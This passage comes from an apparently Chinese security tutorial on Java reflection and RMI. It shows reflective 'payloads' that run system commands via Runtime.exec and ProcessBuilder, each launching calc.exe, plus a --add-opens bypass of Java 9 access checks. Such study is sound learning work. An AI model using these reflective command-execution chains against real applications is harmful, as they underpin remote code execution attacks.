style=\"width:698px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u8c03\u7528\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u5229\u7528\u53cd\u5c04\u8c03\u7528\u65b9\u6cd5\u7684\u6d41\u7a0b\u5927\u6982\u662f\uff1a<\/p>\n\n\n\n<p>\u83b7\u53d6 <code>Class<\/code> =&gt; \u83b7\u53d6\u76ee\u6807 <code>Method<\/code> \u5bf9\u8c61\uff08\u516c\u6709\u7528 <code>getMethod<\/code>\uff0c\u79c1\u6709\u7528 <code>getDeclaredMethod<\/code>\uff09=&gt; \u8bbe\u7f6e\u53ef\u8bbf\u95ee\uff08\u79c1\u6709\u65b9\u6cd5\u8981 <code>setAccessible(true)<\/code>\uff09=&gt; \u4f7f\u7528 <code>invoke()<\/code> \u8c03\u7528\u65b9\u6cd5<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>clazz.getMethod(String name, Class\u2026 parameterTypes)\uff1a\u83b7\u53d6 <strong>\u516c\u6709\u65b9\u6cd5<\/strong>\uff08\u5305\u62ec\u7ee7\u627f\u7684\uff09\uff08\u6ce8\u610f\uff0c\u8fd9\u91cc\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u65b9\u6cd5\u540d\uff0c\u540e\u9762\u7684\u53c2\u6570\u8868\u793a\u7684\u662f\u8fd9\u4e2a\u65b9\u6cd5\u4f20\u5165\u53c2\u6570\u7684\u7c7b\u578b\uff0c\u6bd4\u5982\u53c2\u6570\u662fString\u5c31\u662fString.class\uff09<\/li>\n\n\n\n<li>clazz.getDeclaredMethod(String name, Class\u2026 parameterTypes)\uff1a\u83b7\u53d6 <strong>\u672c\u7c7b\u58f0\u660e\u7684\u65b9\u6cd5<\/strong>\uff08\u5305\u62ec\u79c1\u6709\u65b9\u6cd5\uff09<\/li>\n\n\n\n<li>method.setAccessible(true)\uff1a\u5141\u8bb8\u8bbf\u95ee\u79c1\u6709\u65b9\u6cd5<\/li>\n\n\n\n<li>method.invoke(Object obj, Object\u2026 args)\uff1a\u8c03\u7528\u65b9\u6cd5\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u5bf9\u8c61\uff0c\u540e\u9762\u662f\u4f20\u5165\u65b9\u6cd5\u7684\u53c2\u6570<\/li>\n<\/ul>\n\n\n\n<p>\u975e\u9759\u6001\u65b9\u6cd5\u7684\u8c03\u7528\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\nimport java.lang.reflect.Method;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        \/\/ 1. \u83b7\u53d6 Class \u5bf9\u8c61\n        Class&lt;?&gt; clazz = Class.forName(\"chapter10.Fushuling\");\n        \/\/ 2. \u5b9e\u4f8b\u5316\n        Fushuling fushuling = (Fushuling) clazz.newInstance();\n\n        \/\/\u8c03\u7528\u516c\u6709\u65b9\u6cd5 sayHello\n        Method publicMethod = clazz.getMethod(\"sayHello\", String.class);\n        publicMethod.invoke(fushuling, \"yulate\");\n\n        \/\/\u8c03\u7528\u79c1\u6709\u65b9\u6cd5 add\n        Method privateMethod = clazz.getDeclaredMethod(\"add\", int.class, int.class);\n        privateMethod.setAccessible(true);  \/\/ \u5141\u8bb8\u8bbf\u95ee\u79c1\u6709\u65b9\u6cd5\n        int result = (int) privateMethod.invoke(fushuling, 5, 7);\n        System.out.println(\"Result of add: \" + result);\n    }\n}\n\nclass Fushuling {\n    public void sayHello(String name) {\n        System.out.println(\"Hello, \" + name);\n    }\n\n    private int add(int a, int b) {\n        return a + b;\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-224932-19-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-224932-19-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:790px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8c03\u7528\u9759\u6001\u65b9\u6cd5\uff08\u8fd9\u91cc\u6211\u4eec\u5c31\u4e0d\u9700\u8981\u5b9e\u4f8b\u5316\u5bf9\u8c61\u4e86\uff0c\u76f4\u63a5\u5bf9\u7c7b\u64cd\u4f5c\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\nimport java.lang.reflect.Method;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        \/\/\u8c03\u7528\u9759\u6001\u65b9\u6cd5 echo\n        Method staticMethod = Fushuling.class.getMethod(\"echo\", String.class);\n        String echoed = (String) staticMethod.invoke(null, \"yulate\u597d\u5e05\");\n        System.out.println(echoed);  \/\/ Echo: Hi\n    }\n}\n\nclass Fushuling {\n    public static String echo(String input) {\n        return \"Echo: \" + input;\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-230509-19-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-230509-19-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5982\u679c\u65b9\u6cd5\u662f\u9759\u6001\u65b9\u6cd5\uff0c<code>invoke()<\/code> \u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u53ef\u4ee5\u4f20 <code>null<\/code>\uff0c\u6bd5\u7adf\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u4e5f\u6ca1\u6709\u5177\u4f53\u7684\u5bf9\u8c61\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u4f60\u53ef\u80fd\u5df2\u7ecf\u8feb\u4e0d\u53ca\u5f85\uff0c\u60f3\u901a\u8fc7\u53cd\u5c04\u6267\u884c\u547d\u4ee4\u4e86\uff0c\u4f60\u53ef\u80fd\u4f1a\u6309\u7167\u4e0a\u9762\u7684\u683c\u5f0f\u5199\u51fa\u4e0b\u9762\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class clazz = Class.forName(\"java.lang.Runtime\");\n        clazz.getMethod(\"exec\", String.class).invoke(clazz.newInstance(), \"id\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u4e00\u8fd0\u884c\u5c31\u62a5\u9519\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-230943-19-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-230943-19-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:768px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9519\u56e0\u4e5f\u5199\u7684\u5f88\u660e\u663e\uff0c\u5c31\u662f\u8fd9\u4e2aRuntime \u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u662f\u79c1\u6709\u7684\uff0c\u8fd9\u91cc\u6d89\u53ca\u5230\u5355\u4f8b\u6a21\u5f0f\u7684\u95ee\u9898\uff0c\u5728\u5355\u4f8b\u6a21\u5f0f\u4e0b\u4e00\u4e2a\u7c7b\u5728\u6574\u4e2a\u5e94\u7528\u4e2d\u53ea\u80fd\u6709\u4e00\u4e2a\u5b9e\u4f8b\uff0c\u800c\u4e14\u63d0\u4f9b\u4e00\u4e2a\u5168\u5c40\u8bbf\u95ee\u70b9\uff0c\u597d\u5904\u5c31\u662f\u8282\u7701\u8d44\u6e90\uff08\u53ea\u521b\u5efa\u4e00\u6b21\uff09\u5e76\u4e14\u65b9\u4fbf\u5168\u5c40\u7ba1\u7406\uff0c\u56e0\u6b64\u4e0d\u5141\u8bb8\u5916\u90e8\u968f\u4fbf new \u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u8fd9\u91cc\u53ea\u80fd\u901a\u8fc7 Runtime.getRuntime() \u6765\u83b7\u53d6\u5230 Runtime \u5bf9\u8c61\u7136\u540e\u624d\u80fdinvoke\u6211\u4eec\u60f3\u8981\u7684exec\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n\/\/        Class clazz = Class.forName(\"java.lang.Runtime\");\n\/\/        clazz.getMethod(\"exec\", String.class).invoke(clazz.newInstance(), \"id\");\n\n        Class clazz = Class.forName(\"java.lang.Runtime\");\n        clazz.getMethod(\"exec\", String.class).invoke(clazz.getMethod(\"getRuntime\").invoke(clazz), \"calc.exe\");\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-231723-19-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-231723-19-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><figcaption class=\"wp-element-caption\">\u6211\u53bb\uff01\u6211\u7535\u8111\u5f39\u8ba1\u7b97\u5668\u4e86\uff01<\/figcaption><\/figure>\n\n\n\n<p>\u8fd8\u539f\u4ee3\u7801\uff0c\u5176\u5b9e\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\nimport java.lang.reflect.Method;\n\npublic class Java05_Reflect_Test_Expanded {\n    public static void main(String&#91;] args) throws Exception {\n        \/\/ 1. \u83b7\u53d6 Runtime \u7c7b\u7684 Class \u5bf9\u8c61\n        Class&lt;?&gt; runtimeClass = Class.forName(\"java.lang.Runtime\");\n\n        \/\/ 2. \u83b7\u53d6 getRuntime() \u65b9\u6cd5\u5bf9\u8c61\uff08\u8fd9\u662f\u4e00\u4e2a\u9759\u6001\u65b9\u6cd5\uff09\n        Method getRuntimeMethod = runtimeClass.getMethod(\"getRuntime\");\n\n        \/\/ 3. \u8c03\u7528 getRuntime() \u9759\u6001\u65b9\u6cd5\uff0c\u83b7\u53d6 Runtime \u5b9e\u4f8b\n        Object runtimeInstance = getRuntimeMethod.invoke(null);  \/\/ \u56e0\u4e3a\u662f\u9759\u6001\u65b9\u6cd5\uff0c\u6240\u4ee5\u4f20 null\n\n        \/\/ 4. \u83b7\u53d6 exec(String command) \u65b9\u6cd5\u5bf9\u8c61\n        Method execMethod = runtimeClass.getMethod(\"exec\", String.class);\n\n        \/\/ 5. \u8c03\u7528 exec \u65b9\u6cd5\uff0c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4 \"calc.exe\"\n        execMethod.invoke(runtimeInstance, \"calc.exe\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u5176\u5b9e\u6709\u4e24\u4e2a\u95ee\u9898\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u4e00\u4e2a\u7c7b\u6ca1\u6709\u65e0\u53c2\u6784\u9020\u65b9\u6cd5\uff0c\u4e5f\u6ca1\u6709\u7c7b\u4f3c\u5355\u4f8b\u6a21\u5f0f\u91cc\u7684\u9759\u6001\u65b9\u6cd5\uff0c\u6211\u4eec\u600e\u6837\u901a\u8fc7\u53cd\u5c04\u5b9e\u4f8b\u5316\u8be5\u7c7b\u5462\uff1f<\/li>\n\n\n\n<li>\u5982\u679c\u4e00\u4e2a\u65b9\u6cd5\u6216\u6784\u9020\u65b9\u6cd5\u662f\u79c1\u6709\u65b9\u6cd5\uff0c\u6211\u4eec\u662f\u5426\u80fd\u6267\u884c\u5b83\u5462\uff1f<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u95ee\u9898\u4e00\u7684\u89e3\u51b3\u529e\u6cd5<\/h4>\n\n\n\n<p>\u5bf9\u4e8e\u95ee\u9898\u4e00\uff0c\u6211\u4eec\u9700\u8981\u4f7f\u7528getConstructor\uff0cgetConstructor \u63a5\u6536\u7684\u53c2\u6570\u662f\u6784\u9020\u51fd\u6570\u5217\u8868\u7c7b\u578b\uff0c\u56e0\u4e3a\u6784\u9020\u51fd\u6570\u4e5f\u652f\u6301\u91cd\u8f7d\uff0c\u6240\u4ee5\u5fc5\u987b\u7528\u53c2\u6570\u5217\u8868\u7c7b\u578b\u624d\u80fd\u552f\u4e00\u786e\u5b9a\u4e00\u4e2a\u6784\u9020\u51fd\u6570\u3002\u83b7\u53d6\u5230\u6784\u9020\u51fd\u6570\u540e\uff0c\u6211\u4eec\u518d\u4f7f\u7528 newInstance \u6765\u6267\u884c\uff0c\u6bd4\u5982\u5229\u7528ProcessBuilder\u6267\u884c\u547d\u4ee4\u7684\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\n        ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList(\"calc.exe\"))).start();<\/code><\/pre>\n\n\n\n<p>ProcessBuilder\u6709\u4e24\u4e2a\u6784\u9020\u51fd\u6570\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>public ProcessBuilder(List&lt;String&gt; command)<\/li>\n\n\n\n<li>public ProcessBuilder(String\u2026 command)<\/li>\n<\/ul>\n\n\n\n<p>\u4e0a\u9762\u7684\u4f8b\u5b50\u5176\u5b9e\u4f7f\u7528\u7684\u662f\u7b2c\u4e00\u4e2a\u4f8b\u5b50\uff0c\u4f20\u5165\u7684\u662fList.class\uff0c\u4e0d\u8fc7\u4e0a\u9762\u7684payload\u4f7f\u7528\u4e86java\u7684\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\uff0c\u5982\u679c\u76ee\u6807\u6ca1\u6709\u8fd9\u79cd\u8bed\u6cd5\uff0c\u5c31\u8fd8\u5f97\u4e0a\u53cd\u5c04\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\n    clazz.getMethod(\"start\").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(\"calc.exe\")));<\/code><\/pre>\n\n\n\n<p>\u5148\u901a\u8fc7 getMethod(&#8220;start&#8221;) \u83b7\u53d6\u5230start\u65b9\u6cd5\uff0c\u7136\u540e invoke \u6267\u884c\uff0c invoke \u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c31\u662fProcessBuilder Object<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\n        clazz.getMethod(\"start\").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(\"calc.exe\")));\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-233413-19-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-233413-19-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:660px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5982\u679c\u60f3\u901a\u8fc7\u7b2c\u4e8c\u79cd\u6784\u9020\u51fd\u6570\u5b9e\u73b0RCE\uff0c\u8fd9\u91cc\u5c31\u9700\u8981\u7528\u5230\u53ef\u53d8\u957f\u53c2\u6570\u4e86\uff0c\u7528<code>...<\/code>\u8868\u793a\u53c2\u6570\u53ef\u53d8\uff0c\u800c\u7531\u4e8e\u7f16\u8bd1\u65f6\u53ef\u53d8\u957f\u53c2\u6570\u5176\u5b9e\u4f1a\u88ab\u7f16\u8bd1\u6210\u6570\u7ec4\uff0c\u6240\u4ee5String[]\u548cString&#8230;\u5176\u5b9e\u6ca1\u6709\u4ec0\u4e48\u5dee\u522b\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u628apayload\u6539\u5199\u6210\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\n        ((ProcessBuilder) clazz.getConstructor(String&#91;].class).newInstance(new String&#91;]&#91;]{{\"calc.exe\"}})).start();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-233911-19-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-233911-19-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u95ee\u9898\u4e8c\u7684\u89e3\u51b3\u529e\u6cd5<\/h4>\n\n\n\n<p>\u8fd9\u91cc\u5176\u5b9e\u5f88\u5bb9\u6613\u60f3\u5230\uff0c\u6211\u4eec\u76f4\u63a5\u7528setAccessible\u628a\u4e4b\u524d\u4e0d\u80fd\u8bbf\u95ee\u7684\u65b9\u6cd5\u8bbe\u7f6e\u6210\u53ef\u8bbf\u95ee\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\nimport java.lang.reflect.Constructor;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class clazz = Class.forName(\"java.lang.Runtime\");\n        Constructor m = clazz.getDeclaredConstructor();\n        m.setAccessible(true);\n        clazz.getMethod(\"exec\", String.class).invoke(m.newInstance(), \"calc.exe\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u8fd9\u6837\u7684\u5199\u6cd5\u5728 Java 9 \u4e4b\u540e\u9ed8\u8ba4\u4f1a\u629b\u51fa\u62a5\u9519\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Unable to make private java.lang.Runtime() accessible<\/code><\/pre>\n\n\n\n<p>\u770b\u6765\u5b98\u65b9\u4e5f\u662f\u6709\u8111\u5b50\u7684\uff0c\u90fdprivate\u4e86\u600e\u4e48\u8fd8\u80fd\u8ba9\u4f60\u968f\u4fbf\u8bbf\u95ee\uff0c\u4e0d\u8fc7\u6211\u4eec\u4ecd\u7136\u53ef\u4ee5\u5728java 9\u4e2d\u52a0 VM \u53c2\u6570\uff1a<code>--add-opens java.base\/java.lang=ALL-UNNAMED<\/code> \u6765\u4e34\u65f6\u7ed5\u8fc7\uff0c\u6240\u4ee5\u5176\u5b9e\u4e5f\u6ca1\u5565\u7528\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">RMI<\/h1>\n\n\n\n<p><strong>RMI\uff08Remote Method Invocation\uff09<\/strong> \u662f Java \u7684\u4e00\u79cd\u673a\u5236\uff0c\u5141\u8bb8\u4e00\u4e2a Java \u5bf9\u8c61\u8c03\u7528\u53e6\u4e00\u4e2a Java \u865a\u62df\u673a\uff08JVM\uff09\u4e0a\u7684\u5bf9\u8c61\u7684\u65b9\u6cd5\uff0c\u5c31\u50cf\u672c\u5730\u8c03\u7528\u4e00\u6837\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u5b83\u652f\u6301 <strong>\u8de8\u7f51\u7edc\u7684\u5bf9\u8c61\u65b9\u6cd5\u8c03\u7528<\/strong>\u3002<\/p>\n\n\n\n<p>\u5b83\u7684\u6838\u5fc3\u601d\u60f3\u662f\u8ba9\u65b9\u6cd5\u8c03\u7528\u201c\u7a7f\u8d8a\u201dJVM\uff0c\u5b9e\u73b0\u5206\u5e03\u5f0f\u5bf9\u8c61\u901a\u4fe1\u3002<\/p>\n\n\n\n<p>RMI\u7684\u7ec4\u4ef6\u4e00\u822c\u5305\u62ec\u4e0b\u9762\u56db\u79cd\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u8fdc\u7a0b\u63a5\u53e3\uff08Remote Interface\uff09<\/strong>\uff1a\u5b9a\u4e49\u8fdc\u7a0b\u5bf9\u8c61\u53ef\u8c03\u7528\u7684\u65b9\u6cd5\u3002<\/li>\n\n\n\n<li><strong>\u8fdc\u7a0b\u5bf9\u8c61\u7684\u5b9e\u73b0\u7c7b\uff08Remote Object Implementation\uff09<\/strong>\u3002<\/li>\n\n\n\n<li><strong>\u670d\u52a1\u5668\uff08Server\uff09<\/strong>\uff1a\u6ce8\u518c\u8fdc\u7a0b\u5bf9\u8c61\u5230 RMI \u6ce8\u518c\u4e2d\u5fc3\u3002<\/li>\n\n\n\n<li><strong>\u5ba2\u6237\u7aef\uff08Client\uff09<\/strong>\uff1a\u67e5\u627e\u8fdc\u7a0b\u5bf9\u8c61\u5e76\u8c03\u7528\u5176\u65b9\u6cd5\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u6765\u5206\u522b\u5b9e\u73b0\u8fd9\u56db\u4e2a\u4e1c\u897f\uff1a<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5b9a\u4e49\u8fdc\u7a0b\u63a5\u53e3 <code>Hello.java\uff0c<\/code>\u8be5\u63a5\u53e3\u7ee7\u627f\u81ea&nbsp;Remote\uff0c\u58f0\u660e\u4e86\u4e00\u4e2a\u8fdc\u7a0b\u65b9\u6cd5&nbsp;sayHello(String name)(\u6ce8\u610f\uff1a\u6240\u6709\u8fdc\u7a0b\u65b9\u6cd5\u90fd\u5fc5\u987b\u58f0\u660e\u629b\u51fa&nbsp;RemoteException\uff0c\u548c\u4e4b\u524d\u7684forName\u4e00\u6837)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.rmi.Remote;\nimport java.rmi.RemoteException;\n\npublic interface Hello extends Remote {\n    String sayHello(String name) throws RemoteException;\n}<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u518d\u5b9e\u73b0\u8fdc\u7a0b\u63a5\u53e3 <code>HelloImpl.java<\/code>\uff0c\u8fd9\u91cc\u6211\u4eec\u7ee7\u627f&nbsp;UnicastRemoteObject&nbsp;\u5e76\u5b9e\u73b0&nbsp;Hello&nbsp;\u63a5\u53e3\uff0c\u540c\u65f6\u5177\u4f53\u5b9e\u73b0\u8fd9\u4e2asayHello\u65b9\u6cd5\u548c\u6784\u9020\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.rmi.RemoteException;\nimport java.rmi.server.UnicastRemoteObject;\n\npublic class HelloImpl extends UnicastRemoteObject implements Hello {\n    protected HelloImpl() throws RemoteException {\n        super();\n    }\n\n    public String sayHello(String name) throws RemoteException {\n        return \"Hello \" + name;\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u670d\u52a1\u5668\u7aef <code>Server.java<\/code>\uff0c\u4f5c\u7528\u4e3b\u8981\u662f\u521b\u5efa RMI \u6ce8\u518c\u8868(\u4f7f\u7528\u9ed8\u8ba4\u7aef\u53e3&nbsp;1099)\uff0c\u521b\u5efa\u670d\u52a1\u5b9e\u73b0\u7c7b\u7684\u5b9e\u4f8b\uff0c\u5c06\u8fdc\u7a0b\u5bf9\u8c61\u7ed1\u5b9a\u5230\u6ce8\u518c\u8868\u4e2d\uff0c\u4f7f\u7528\u540d\u79f0 &#8220;HelloService&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\n\npublic class Server {\n    public static void main(String&#91;] args) {\n        try {\n            HelloImpl obj = new HelloImpl();\n\n            \/\/ \u542f\u52a8\u672c\u5730\u7684 RMI \u6ce8\u518c\u670d\u52a1\uff081099 \u7aef\u53e3\uff09\n            LocateRegistry.createRegistry(1099);\n\n            \/\/ \u7ed1\u5b9a\u8fdc\u7a0b\u5bf9\u8c61\n            Registry registry = LocateRegistry.getRegistry();\n            registry.rebind(\"HelloService\", obj);\n\n            System.out.println(\"RMI start\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u5ba2\u6237\u7aef <code>Client.java<\/code>\u7684\u4f5c\u7528\u6bd4\u8f83\u7b80\u5355\uff0c\u8fde\u63a5\u5230\u672c\u5730\uff08localhost\uff09\u7684 RMI \u6ce8\u518c\u8868\u7136\u540e\u67e5\u627e\u540d\u4e3a &#8220;HelloService&#8221; 